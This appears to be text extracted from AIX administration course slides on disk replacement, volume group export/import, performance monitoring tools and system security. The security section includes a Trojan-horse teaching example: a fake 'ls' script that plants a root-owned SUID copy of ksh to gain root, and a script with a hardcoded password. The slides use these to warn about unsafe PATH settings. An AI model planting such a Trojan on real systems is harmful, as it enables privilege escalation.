    ```
    # mirrorvg vg_name hdiskY
    # syncvg vg_name
    ```
Procedure 2: Disk Still Working

1. Connect new disk to system.

3. Add new disk to volume group:
   # extendvg vg_name hdiskY

6. Migrate old disk to new disk: (*)
   # migratepv hdiskX hdiskY

9. Remove old disk from volume group:
   # reducevg vg_name hdiskX

12. Remove old disk from ODM:
    # rmdev -l hdiskX -d

(*) : Is the disk in rootvg?
See next visual for further considerations!
Procedure 2: Special Steps for rootvg

1. Connect new disk to system
2. ...
3. Add new disk to volume group

5. ...

7. Remove old disk from volume group
9. Remove old disk from ODM

- Disk contains hd5?
  # migratepv -l hd5 hdiskX hdiskY
  # bosboot -ad /dev/hdiskY
  # chpv -c hdiskX
  # bootlist -m normal hdiskY

Migrate old disk to new disk:
  # migratepv hdiskX hdiskY

4…
5…
Procedure 3: Disk in Missing or Removed State

1. Identify all LVs and file systems on failing disk:
   \# lspv -l hdiskY

4. Unmount all file systems on failing disk:
   \# umount /dev/lv_name

7. Remove all file systems and LVs from failing disk:
   \# smit rmfs
   \# rmlv lv_name

10. Remove disk from volume group:
    \# reducevg vg_name hdiskY

13. Remove disk from system:
    \# rmdev -l hdiskY -d

16. Add new disk to volume group:
    \# extendvg vg_name hdiskZ

19. Re-create all LVs and file systems on new disk:
    \# mklv -y lv_name
    \# smit crfs

22. Restore file systems from backup:
    \# restore -rvqf /dev/rmt0

Volume group

hdiskX

hdiskY

PV STATE: removed

PV STATE: missing
Procedure 4: Total rootvg Failure

2. Replace bad disk
4. Boot in maintenance mode
6. Restore from a mksysb tape
8. Import each volume group into the new ODM (importvg) if needed

Contains OS logical volumes
Procedure 5: Total non-rootvg Failure

1. Export the volume group from the system:
   ```
   # exportvg vg_name
   ```
   • Check `/etc/filesystems`.
   • Remove bad disk from ODM and the system:
     ```
     # rmdev -l hdiskX -d
     ```


11. If volume group backup is available (`savevg`):
    ```
    # restvg -f /dev/rmt0 hdiskY
    ```
    • If no volume group backup is available: Re-create ...
      - Volume group (`mkvg`)
      - Logical volumes and file systems (`mklv`, `crfs`)

    Restore data from a backup:
    ```
    # restore -rqvf /dev/rmt0
    ```
Boot problems after migration:

- Firmware LED codes cycle or boots to SMS multiboot menu

Fix:

- Check bootlist (SMS menu)
- Check bootlist (bootlist)
- Re-create boot logical volume (bosboot)
**Frequent Disk Replacement Errors (2 of 4)**

**hdisk5** is removed from ODM and from the system, but not from the volume group:

```
# rmdev -l hdisk5 -d
```
Frequent Disk Replacement Errors (3 of 4)

Use PVID instead of disk name

Fix:

```bash
# rmdev -l hdisk5 -d
```

```bash
# reducevg datavg ...555...
```

ODM:

```
CuAt:
name = "hdisk4"
attribute = "pvid"
value = "...221..."
...
```

VGDA:

```
... physical:
...221...
...555...
```
Frequent Disk Replacement Errors (4 of 4)

ODM failure!

Analyze failure!

ODM problem in rootvg?

0

Yes

rvgrecover

No

Export and import volume group

# lsvg -p datavg
unable to find device id ...
734... in device configuration database

• Typo in command?
• Analyze the ID of the device:
  Which PV or LV causes problems?
Exporting a Volume Group

To export a volume group:

3. Unmount all file systems from the volume group:
   # umount /dev/lv10
   # umount /dev/lv11

7. Vary off the volume group:
   # varyoffvg myvg

10. Export volume group:
    # exportvg myvg

The complete volume group is removed from the ODM.
To import a volume group:

3. Configure the disk(s).

5. Import the volume group:
   
   ```
   # importvg -y myvg hdisk3
   ```

8. Mount the file systems:
   
   ```
   # mount /dev/lv10
   # mount /dev/lv11
   ```

   The complete volume group is added to the ODM.
importvg and Existing Logical Volumes

importvg can also accept the PVID in place of the hdisk name
# importvg -y myvg hdisk3

Warning: mount point /home/michael already exists in /etc/filesystems

# umount /home/michael
# mount -o log=/dev/loglv01 /dev/lv24 /home/michael
importvg and Existing File Systems (2 of 2)

# vi /etc/filesystems

/home/michael:
  dev    =  /dev/lv11
  vfs    =  jfs
  log    =  /dev/loglv00
  mount  =  false
  options =  rw
  account =  false

/home/michael_moon:
  dev    =  /dev/lv24
  vfs    =  jfs
  log    =  /dev/loglv01
  mount  =  false
  options =  rw
  account =  false

# mount /home/michael
# mount /home/michael_moon  Mount point must exist!

/dev/lv10:  /home/sarah
/dev/lv11:  /home/michael
/dev/loglv00:  log device
dataavg

/dev/lv23:  /home/peter
/dev/lv24:  /home/michael
/dev/loglv01:  log device
hdisk3 (myvg)
importvg -I (1 of 2)

No exportvg !!!

# importvg -y myvg hdisk3
# mklv lv99 myvg
importvg -L

"Learn about possible changes!"

# importvg -L myvg hdisk9
# varyonvg myvg

==> importvg -L fails if a name clash is detected
1. Although everything seems to be working fine, you detect error log entries for disk **hdisk0** in your **rootvg**. The disk is not mirrored to another disk. You decide to replace this disk. Which procedure would you use to migrate this disk?

2. You detect an unrecoverable disk failure in volume group **datavg**. This volume group consists of two disks that are completely mirrored. Because of the disk failure you are not able to vary on **datavg**. How do you recover from this situation?

3. After disk replacement you recognize that a disk has been removed from the system but not from the volume group. How do you fix this problem?
1. Although everything seems to be working fine, you detect error log entries for disk **hdisk0** in your **rootvg**. The disk is not mirrored to another disk. You decide to replace this disk. Which procedure would you use to migrate this disk?

   **Procedure 2:** Disk still working. There are some additional steps necessary for **hd5** and the primary dump device **hd6**.

3. You detect an unrecoverable disk failure in volume group **datavg**. This volume group consists of two disks that are completely mirrored. Because of the disk failure you are not able to vary on **datavg**. How do you recover from this situation?

   **Forced varyon:** `varyonvg -f datavg`. Use Procedure 1 for mirrored disks.

4. After disk replacement you recognize that a disk has been removed from the system but not from the volume group. How do you fix this problem?

   **Use PVID instead of disk name:** `reducevg vg_name PVID`
Exercise 7: Exporting and Importing Volume Groups

- Export and import a volume group
- Analyze import messages (Optional)
Unit Summary

- Different procedures are available that can be used to fix disk problems under any circumstance:
  - Procedure 1: Mirrored disk
  - Procedure 2: Disk still working (rootvg specials)
  - Procedure 3: Total disk failure
  - Procedure 4: Total rootvg failure
  - Procedure 5: Total non-rootvg failure

- `exportvg` and `importvg` can be used to easily transfer volume groups between systems
Welcome to:

Performance and Workload Management
After completing this unit, you should be able to:

- Provide basic performance concepts
- Provide basic performance analysis
- Manage the workload on a system
- Use the Performance Diagnostic Tool (PDT)
Performance Problems

What a fast machine!

The system is so slow today!

Performance is very often not objective!
Understand the Workload

Analyze the hardware:
- Model
- Memory
- Disks
- Network

Identify all the work performed by the system

Identify critical applications and processes:
- What is the system doing?
- What happens under the covers (for example, NFS-mounts)?

Characterize the workload:
- Workstation
- Multiuser system
- Server
- Mixture of all above?
Critical Resources: The Four Bottlenecks

- CPU
  - Number of processes
  - Process priorities

- Memory
  - Real memory
  - Paging
  - Memory leaks

- Disk
  - Disk balancing
  - Types of disks
  - LVM policies

- Network
  - NFS used to load applications
  - Network type
  - Network traffic

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Basic Performance Analysis

Check CPU

- sar -u

Possible CPU constraint

- High CPU %

  - yes

  - Check memory

  - vmstat

- no

Check memory

- High paging

  - yes

  - Balance disk

  - iostat

- no

Check disk

- Disk balanced

  - yes

  - Possible disk/SCSI constraint

  - no

Possible memory constraint
AIX Performance Tools

Identify causes of bottlenecks:

- **CPU Bottlenecks**
  - Processes using CPU time
  - `tprof`

- **Memory Bottlenecks**
  - Processes using memory
  - `svmon`

- **I/O Bottlenecks**
  - File systems, LVs, and files causing disk activity
  - `filemon`
# Identify CPU-Intensive Programs: `ps aux`

<table>
<thead>
<tr>
<th>USER</th>
<th>PID</th>
<th>%CPU</th>
<th>%MEM</th>
<th>...</th>
<th>STIME</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>516</td>
<td>98.2</td>
<td>0.0</td>
<td>...</td>
<td>13:00:00</td>
<td>1329:38</td>
<td>wait</td>
</tr>
<tr>
<td>johnp</td>
<td>7570</td>
<td>1.2</td>
<td>1.0</td>
<td>...</td>
<td>17:48:32</td>
<td>0:01</td>
<td>-ksh</td>
</tr>
<tr>
<td>root</td>
<td>1032</td>
<td>0.8</td>
<td>0.0</td>
<td>...</td>
<td>15:13:47</td>
<td>78:37</td>
<td>kproc</td>
</tr>
<tr>
<td>root</td>
<td>1</td>
<td>0.1</td>
<td>1.0</td>
<td>...</td>
<td>15:13:50</td>
<td>13:59</td>
<td>/etc/init</td>
</tr>
</tbody>
</table>

- **Percentage of time the process has used the CPU**
- **Percentage of real memory**
- **Total Execution Time**
Identify High Priority Processes: `ps -elf`

```
$ ps -elf
  F S  UID   PID  PPID  C PRI  NI   ...   TIME   CMD
200003 A root 1 0 0 60 20 ... 0:04 /etc/init
240001 A root 69718 1 0 60 20 ... 1:16 /usr/sbin/syncd 60
200001 A root 323586 188424 24 72 20 ... 0:00 ps -elf
```

- **Priority of the process**: The smaller the PRI value, the higher the priority of the process. The average process runs a priority around 60.
- **Nice value**: The NI value is used to adjust the process priority. The higher the nice value is, the lower the priority of the process.
Monitoring CPU Usage: `sar -u`

```
# sar -u 60 30

AIX www 3 5 000400B24C00 08/09/05

System configuration: lcpu=2

08:24:10  %usr  %sys  %wio  %idle
08:25:10  48    52    0    0
08:26:10  63    37    0    0
08:27:10  59    41    0    0
...
Average  57    43    0    0
```

A system may be CPU bound, if:

\[
\%\text{usr} + \%\text{sys} > 80\%
\]
# tprof -x sleep 60
# more sleep.prof

<table>
<thead>
<tr>
<th>Process</th>
<th>Freq</th>
<th>Total</th>
<th>Kernel</th>
<th>User</th>
<th>Shared</th>
<th>Other</th>
</tr>
</thead>
<tbody>
<tr>
<td>./cpuprog</td>
<td>5</td>
<td>99.56</td>
<td>92.86</td>
<td>3.05</td>
<td>3.64</td>
<td>0.00</td>
</tr>
<tr>
<td>/usr/bin/tprof</td>
<td>2</td>
<td>0.41</td>
<td>0.01</td>
<td>0.01</td>
<td>0.39</td>
<td>0.00</td>
</tr>
<tr>
<td>/usr/sbin/syncd</td>
<td>4</td>
<td>0.02</td>
<td>0.02</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
</tr>
<tr>
<td>gil</td>
<td>2</td>
<td>0.01</td>
<td>0.01</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
</tr>
<tr>
<td>/usr/bin/sh</td>
<td>1</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
</tr>
<tr>
<td>/usr/bin/trcstop</td>
<td>1</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
</tr>
</tbody>
</table>

| Total         | 15   | 100.00 | 92.91  | 3.06 | 4.03   | 0.00  |

<table>
<thead>
<tr>
<th>Process</th>
<th>PID</th>
<th>TID</th>
<th>Total</th>
<th>Kernel</th>
<th>User</th>
<th>Shared</th>
<th>Other</th>
</tr>
</thead>
<tbody>
<tr>
<td>./cpuprog</td>
<td>184562</td>
<td>594051</td>
<td>20.00</td>
<td>18.72</td>
<td>0.63</td>
<td>0.66</td>
<td>0.00</td>
</tr>
<tr>
<td>./cpuprog</td>
<td>262220</td>
<td>606411</td>
<td>19.96</td>
<td>18.64</td>
<td>0.58</td>
<td>0.74</td>
<td>0.00</td>
</tr>
<tr>
<td>./cpuprog</td>
<td>168034</td>
<td>463079</td>
<td>19.89</td>
<td>18.57</td>
<td>0.61</td>
<td>0.71</td>
<td>0.00</td>
</tr>
<tr>
<td>./cpuprog</td>
<td>254176</td>
<td>598123</td>
<td>19.87</td>
<td>18.51</td>
<td>0.61</td>
<td>0.74</td>
<td>0.00</td>
</tr>
<tr>
<td>./cpuprog</td>
<td>282830</td>
<td>618611</td>
<td>19.83</td>
<td>18.43</td>
<td>0.61</td>
<td>0.79</td>
<td>0.00</td>
</tr>
<tr>
<td>/usr/bin/tprof</td>
<td>270508</td>
<td>602195</td>
<td>0.40</td>
<td>0.01</td>
<td>0.01</td>
<td>0.39</td>
<td>0.00</td>
</tr>
<tr>
<td>/usr/sbin/syncd</td>
<td>73808</td>
<td>163995</td>
<td>0.01</td>
<td>0.01</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
</tr>
<tr>
<td>/usr/bin/trcstop</td>
<td>196712</td>
<td>638993</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
</tr>
<tr>
<td>/usr/bin/sh</td>
<td>196710</td>
<td>638991</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
</tr>
<tr>
<td>gil</td>
<td>49176</td>
<td>61471</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
<td>0.00</td>
</tr>
</tbody>
</table>

| Total         | 100.00 | 92.91  | 3.06   | 4.03   | 0.00  |

Total Samples = 24316   Total Elapsed Time = 121.59s
## Monitoring Memory Usage: `vmstat`

**Summary report every 5 seconds**

```
# vmstat 5
```

**System Configuration:** lcpu=2 mem=512MB

<table>
<thead>
<tr>
<th>kthr</th>
<th>memory</th>
<th>page</th>
<th>...</th>
<th>cpu</th>
</tr>
</thead>
<tbody>
<tr>
<td>r b</td>
<td>avm</td>
<td>fre</td>
<td>re</td>
<td>pi</td>
</tr>
<tr>
<td>0 0</td>
<td>8793</td>
<td>81</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>0 0</td>
<td>9192</td>
<td>66</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>0 0</td>
<td>9693</td>
<td>69</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>0 0</td>
<td>10194</td>
<td>64</td>
<td>0</td>
<td>21</td>
</tr>
<tr>
<td>0 0</td>
<td>4794</td>
<td>5821</td>
<td>0</td>
<td>24</td>
</tr>
</tbody>
</table>

### **pi, po:**
- Paging space page ins and outs
- If any paging space I/O is taking place, the workload is approaching the system's memory limit

### **wa:**
- I/O wait percentage of CPU
- If non-zero, a significant amount of time is being spent waiting on file I/O

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### AIX Tools: svmon

#### Global report

```
# svmon -G

<table>
<thead>
<tr>
<th></th>
<th>size</th>
<th>inuse</th>
<th>free</th>
<th>pin</th>
<th>virtual</th>
</tr>
</thead>
<tbody>
<tr>
<td>memory</td>
<td>32744</td>
<td>20478</td>
<td>12266</td>
<td>2760</td>
<td>11841</td>
</tr>
<tr>
<td>pg space</td>
<td>65536</td>
<td>294</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th></th>
<th>work</th>
<th>pers</th>
<th>clnt</th>
<th>lpage</th>
</tr>
</thead>
<tbody>
<tr>
<td>pin</td>
<td>2768</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>in use</td>
<td>13724</td>
<td>6754</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>
```

Sizes are in # of 4K frames

#### Top 3 users of memory

```
# svmon -Pt 3

<table>
<thead>
<tr>
<th>Pid</th>
<th>Command</th>
<th>Inuse</th>
<th>Pin</th>
<th>Pgsp</th>
<th>Virtual</th>
<th>64-bit</th>
<th>Mthrd</th>
<th>Lpage</th>
</tr>
</thead>
<tbody>
<tr>
<td>14624</td>
<td>java</td>
<td>6739</td>
<td>1147</td>
<td>425</td>
<td>4288</td>
<td>N</td>
<td>Y</td>
<td>N</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>9292</td>
<td>httpd</td>
<td>6307</td>
<td>1154</td>
<td>205</td>
<td>3585</td>
<td>N</td>
<td>Y</td>
<td>N</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>3596</td>
<td>X</td>
<td>6035</td>
<td>1147</td>
<td>1069</td>
<td>4252</td>
<td>N</td>
<td>N</td>
<td>N</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
<td>...</td>
</tr>
</tbody>
</table>
```

* output has been modified

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# iostat 10 2

System configuration: lcpu=2 drives=3 ent=0.30 paths=4 vdisks=1

tty:    tin  tout  avg-cpu:  %user  %sys  %idle  %iowait  physc  %entc
        0.1  110.7          7.0  59.4  0.0       33.7  0.0  1.4

Disks:  %tm_act  Kbps  tps  Kb_read  Kb_wrtn

<table>
<thead>
<tr>
<th>Disk</th>
<th>%tm_act</th>
<th>Kbps</th>
<th>tps</th>
<th>Kb_read</th>
<th>Kb_wrtn</th>
</tr>
</thead>
<tbody>
<tr>
<td>hdisk0</td>
<td>77.9</td>
<td>115.7</td>
<td>28.7</td>
<td>456</td>
<td>8</td>
</tr>
<tr>
<td>hdisk1</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>cd0</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

tty:    tin  tout  avg-cpu:  %user  %sys  %idle  %iowait  physc  %entc
        0.1  96.3          6.5  58.0  0.0       35.5  0.0  1.3

Disks:  %tm_act  Kbps  tps  Kb_read  Kb_wrtn

<table>
<thead>
<tr>
<th>Disk</th>
<th>%tm_act</th>
<th>Kbps</th>
<th>tps</th>
<th>Kb_read</th>
<th>Kb_wrtn</th>
</tr>
</thead>
<tbody>
<tr>
<td>hdisk0</td>
<td>79.8</td>
<td>120.1</td>
<td>28.7</td>
<td>485</td>
<td>9</td>
</tr>
<tr>
<td>hdisk1</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>cd0</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>
AIX Tools: `filemon`

# `filemon -o fmout`  
Starts monitoring disk activity

# `trcstop`  
# `more fmout`

Stops monitoring and creates report

### Most Active Logical Volumes

<table>
<thead>
<tr>
<th>util</th>
<th>#rblk</th>
<th>#wblk</th>
<th>KB/s</th>
<th>volume</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.03</td>
<td>3368</td>
<td>888</td>
<td>26.5</td>
<td>/dev/hd2</td>
<td>/usr</td>
</tr>
<tr>
<td>0.02</td>
<td>0</td>
<td>1584</td>
<td>9.9</td>
<td>/dev/hd8</td>
<td>jfs2log</td>
</tr>
<tr>
<td>0.02</td>
<td>56</td>
<td>928</td>
<td>6.1</td>
<td>/dev/hd4</td>
<td>/</td>
</tr>
</tbody>
</table>

### Most Active Physical Volumes

<table>
<thead>
<tr>
<th>util</th>
<th>#rblk</th>
<th>#wblk</th>
<th>KB/s</th>
<th>volume</th>
<th>description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.10</td>
<td>24611</td>
<td>12506</td>
<td>231.4</td>
<td>/dev/hdisk0</td>
<td>Virtual SCSI Disk Drive</td>
</tr>
<tr>
<td>0.02</td>
<td>56</td>
<td>8418</td>
<td>52.8</td>
<td>/dev/hdisk1</td>
<td>N/A</td>
</tr>
</tbody>
</table>
## Topas Monitor

For Host: kca81

### CPU

<table>
<thead>
<tr>
<th>Module</th>
<th>CPU</th>
<th>PGSP</th>
<th>Owner</th>
<th>% Used</th>
</tr>
</thead>
<tbody>
<tr>
<td>topas</td>
<td>0.1</td>
<td>1.4</td>
<td>root</td>
<td>0.6</td>
</tr>
<tr>
<td>rmcd</td>
<td>0.0</td>
<td>2.0</td>
<td>root</td>
<td>99.3</td>
</tr>
<tr>
<td>nfsd</td>
<td>0.0</td>
<td>0.0</td>
<td>root</td>
<td>99.3</td>
</tr>
<tr>
<td>gil</td>
<td>0.0</td>
<td>0.0</td>
<td>root</td>
<td>99.3</td>
</tr>
</tbody>
</table>

### Network

<table>
<thead>
<tr>
<th>Interface</th>
<th>KBPS</th>
<th>IPKts</th>
<th>OPkts</th>
<th>KBIN</th>
<th>KBOUT</th>
</tr>
</thead>
<tbody>
<tr>
<td>en0</td>
<td>0.1</td>
<td>0.4</td>
<td>0.4</td>
<td>0.0</td>
<td>0.1</td>
</tr>
<tr>
<td>lo0</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
</tr>
</tbody>
</table>

### Disk

<table>
<thead>
<tr>
<th>Device</th>
<th>Busy%</th>
<th>KBPS</th>
<th>TPS</th>
<th>KB-Read</th>
<th>KB-Writ</th>
<th>Steals</th>
<th>% Comp</th>
</tr>
</thead>
<tbody>
<tr>
<td>hdisk0</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>15.4</td>
</tr>
<tr>
<td>hdisk1</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>0.0</td>
<td>9.3</td>
</tr>
</tbody>
</table>

### Memory

<table>
<thead>
<tr>
<th>Module</th>
<th>IP%</th>
<th>Size, MB</th>
<th>% Used</th>
<th>% Free</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sios</td>
<td>0.6</td>
<td>3744</td>
<td>0.6</td>
<td>99.3</td>
</tr>
<tr>
<td>NFS (calls/sec)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ClientV2</td>
<td>0</td>
<td>WPAR Activ 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ServerV2</td>
<td>0</td>
<td>WPAR Total 0</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ClientV2</td>
<td>0</td>
<td>Press:</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ServerV3</td>
<td>0</td>
<td>&quot;h&quot; for help</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ClientV3</td>
<td>0</td>
<td>&quot;q&quot; for quit</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
There Is Always a Next Bottleneck!

Our system is I/O bound. Let's buy faster disks!

```
# iostat 10 60
```

Our system is now memory bound! Let's buy more memory!!!

```
# vmstat 5
```

Oh no! The CPU is completely overloaded!

```
# sar -u 60 60
```
Run programs at a specific time

# echo "/usr/local/bin/report" | at 0300
# echo "/usr/bin/cleanup" | at 1100 friday

# crontab -e

0 3 * * 1-5 /usr/local/bin/report

minute  hour  day_of_month  month  weekday  command
Workload Management Techniques (2 of 3)

Sequential execution of programs

# vi /etc/qconfig

ksh:
  device = kshdev
  discipline = fcfs

kshdev:
  backend = /usr/bin/ksh

# qadm -D ksh
Queue is down

# qprt -P ksh report1
# qprt -P ksh report2
# qprt -P ksh report3
Jobs will be queued

# qadm -U ksh
Queue is up: Jobs will be executed sequentially
Run programs at a reduced priority

```
# nice -n 15 backup_all &
# ps -el
 F  S  UID  PID  PPID  C PRI  NI ... TIME  CMD
240001 A  0  3860  2820  30  90  35 ...  0:01  backup_all
```

Very low priority

Nice value: 20+15

```
# renice -n -10 3860
# ps -el
 F  S  UID  PID  PPID  C PRI  NI ... TIME  CMD
240001 A  0  3860  2820  26  78  25 ...  0:02  backup_all
```
Simultaneous Multi-Threading (SMT)

- Each chip appears as a two-way SMP to software:
  - Appear as 2 logical CPUs
  - Performance tools may show number of logical CPUs

- Processor resources optimized for enhanced SMT performance:
  - May result in a 25-40% boost and even more

- Benefits vary based on workload

- To enable:
  ```
  smtctl [ -m off | on [ -w boot | now]]
  ```
Tool Enhancements for Micro-Partitioning

- Added two new values to the default `topas` screen
  - Physc and %Entc
- The `vmstat` command has two new metrics:
  - pc and ec
- The `iostat` command has two new metrics:
  - %physc and %entc
- The `sar` command has two new metrics:
  - physc
  - %entc
Exercise 12: Basic Performance Commands

• Working with `ps`, `nice`, and `renice`
• Basic performance analysis
• Working with a Korn shell job queue
Performance Diagnostic Tool (PDT)

PDT assesses the current state of a system and tracks changes in workload and performance.

- Balanced use of resources
- Operation within bounds
- Identify workload trends
- Error-free Operation
- Changes should be investigated
- Appropriate setting of system parameters
Enabling PDT

# /usr/sbin/perf/diag_tool/pdt_config

-----------PDT customization menu-----------
• show current PDT report recipient and severity level
• modify/enable PDT reporting
• disable PDT reporting
• modify/enable PDT collection
• disable PDT collection
• de-install PDT
• exit pdt_config

Please enter a number: 4
Control of PDT Components

# cat /var/spool/cron/crontabs/adm

0  9  *  *  1-5  /usr/sbin/perf/diag_tool/Driver_ daily

Collect system data, each workday at 9:00 A.M.

0 10  *  *  1-5  /usr/sbin/perf/diag_tool/Driver_ daily2

Create a report, each workday at 10:00 A.M.

0 21  *  *  6   /usr/sbin/perf/diag_tool/Driver_ offweekly

Clean up old data, each Saturday at 9:00 P.M.
PDT Files

Collection

Driver\_ daily
/var/perf/cfg/diag_tool/.collection.control

Retention

Driver\_ offweekly
/var/perf/cfg/diag_tool/.retention.control

Reporting

Driver\_ daily2
/var/perf/cfg/diag_tool/.reporting.control

/var/perf/tmp/.SM
/var/perf/tmp/.SM.last

35 days
.retainment.list

/var/perf/tmp/.SM.discards

Next Day
/var/perf/tmp/PDT\_REPORT
/var/perf/tmp/PDT\_REPORT.last

adm
Customizing PDT: Changing Thresholds

# vi /var/perf/cfg/diag_tool/.thresholds

DISK_STORAGE_BALANCE 800
PAGING_SPACE_BALANCE 4
NUMBER_OF_BALANCE 1
MIN_UTIL 3
FS_UTIL_LIMIT 90
MEMORY_FACTOR .9
TREND_THRESHOLD .01
EVENT_HORIZON 30
Customizing PDT: Specific Monitors

# vi /var/perf/cfg/diag_tool/.files

/var/adm/wtmp
/var/spool/qdaemon/
/var/adm/ras/
/tmp/

# vi /var/perf/cfg/diag_tool/.nodes

pluto neptun mars

Files and directories to monitor

Systems to monitor
Performance Diagnostic Facility 1.0
Host name: master
Range of analysis included measurements
from: Hour 20 on Sunday, August 21st, 2005
to: Hour 20 on Sunday, August 21st, 2005

Alerts

I/O CONFIGURATION
- Note: volume hdisk2 has 480 MB available for allocation while volume hdisk1 has 0 MB available

PAGING CONFIGURATION
- Physical Volume hdisk1 (type:SCSI) has no paging space defined

I/O BALANCE
- Physical volume hdisk0 is significantly busier than others
  volume hdisk0, mean util. = 11.75
  volume hdisk1, mean util. = 0.00

NETWORK
- Host sys1 appears to be unreachable
PDT Report Example (Part 2)

Upward Trends

FILES
- File (or directory) /var/adm/ras/ SIZE is increasing
  now, 364 KB and increasing an avg. of 5282 bytes/day

FILE SYSTEMS
- File system lv01(/fs3) is growing
  now, 29.00% full, and growing an avg. of 0.30%/day
  At this rate lv01 will be full in about 45 days

ERRORS
- Hardware ERRORS; time to next error is 0.982 days

System Health

SYSTEM HEALTH
- Current process state breakdown:
  2.10 [0.5%]: waiting for the CPU
  89.30 [22.4%]: sleeping
  306.60 [77.0%]: zombie
  398.00 = TOTAL

Summary
This is a severity level 1 report
No further details available at severity level >1
1. What commands can be executed to identify CPU-intensive programs?
   
   -
   
   -

   • What command can be executed to start processes with a lower priority? _________

5. What command can you use to check paging I/O? _________

7. True or False? The higher the PRI value, the higher the priority of a process.
1. What commands can be executed to identify CPU-intensive programs?
   - ps aux
   - tprof

3. What command can be executed to start processes with a lower priority? **nice**

5. What command can you use to check paging I/O? **vmstat**

- True or **False**? The higher the PRI value, the higher the priority of a process.
Exercise 13: Performance Diagnostic Tool

• Use the Performance Diagnostic Tool to:
  − Capture data
  − Create reports
Unit Summary

- The following commands can be used to identify potential bottlenecks in the system:
  - `ps`
  - `sar`
  - `vmstat`
  - `iostat`

- If you cannot fix a performance problem, manage your workload through other means (`at`, `crontab`, `nice`, `renice`).

- Use the Performance Diagnostic tool (PDT) to assess and control your systems performance.
Welcome to:

Security
Unit Objectives

After completing this unit, you should be able to:

• Provide authentication procedures
• Specify extended file permissions
• Configure the Trusted Computing Base (TCB)
• Compare AIX 6.1 Trusted Environment to TCB
Protecting Your System

- Access to system
- Access to backup media
- Restricted shell
- Execution of unauthorized programs
- Trojan horse
- Unattended session
- Passwords
- Shell
- Login

Physical Security
How Do You Set Up Your `PATH`?

`PATH=/usr/bin:/etc:/usr/sbin:/sbin:`

- or -

`PATH=../usr/bin:/etc:/usr/sbin:/sbin`

???
Trojan Horse: An Easy Example (1 of 3)

$ cd /home/hacker
$ vi ls

#!/usr/bin/ksh

cp /usr/bin/ksh /tmp/.hacker
chown root /tmp/.hacker
chmod u+s /tmp/.hacker

rm -f $0

/usr/bin/ls *

$ chmod a+x ls

SUID Bit: Runs under root authority
Trojan Horse: An Easy Example (2 of 3)

```sh
$ cd /home/hacker
$ cat > -i
blablabla<CTRL-D>
```

```
Hello SysAdmin,
I have a file "-i" and cannot remove it. Please help me ...
```

PATH=.:../usr/bin:/etc:/usr/sbin:/sbin

```sh
# cd /home/hacker
# ls
-i
```
Trojan Horse: An Easy Example (3 of 3)

```
$ cd /tmp
$ .hacker
# passwd root
```

Don't worry, be happy ...

Effective root authority

```
PATH=.:/usr/bin:/etc:/usr/sbin:/sbin
```

When using as root user, never specify the working directory in the PATH variable!
# vi /etc/security/login.cfg

default:
    sak_enabled = false
    logintimes =
        .
        .
        .
    herald = "\n\n*Restricted Access*\n\rAuthorized Users Only\n\rLogin: "
# login.cfg: Restricted Shell

`# vi
/etc/security/login.cfg`

* Other security attributes

`usw:
shells = /bin/sh,/bin/bsh,/usr/bin/ksh, ...,/usr/bin/Rsh`

`# chuser shell=/usr/bin/Rsh michael`

**michael** cannot:
- Change the current directory
- Change the `PATH` variable
- Use command names containing slashes
- Redirect standard output (`>`, `>>`)
Customized Authentication

# vi /etc/security/login.cfg

* Authentication Methods

secondPassword:
    program = /usr/local/bin/getSecondPassword

# vi /etc/security/user

michael:
    auth1 = SYSTEM, secondPassword
# vi /usr/local/bin/getSecondPassword

print "Please enter the second Password: 

stty -echo          # No input visible
read PASSWORD
stty echo

if [[ $PASSWORD = "d1f2g3" ]]; then
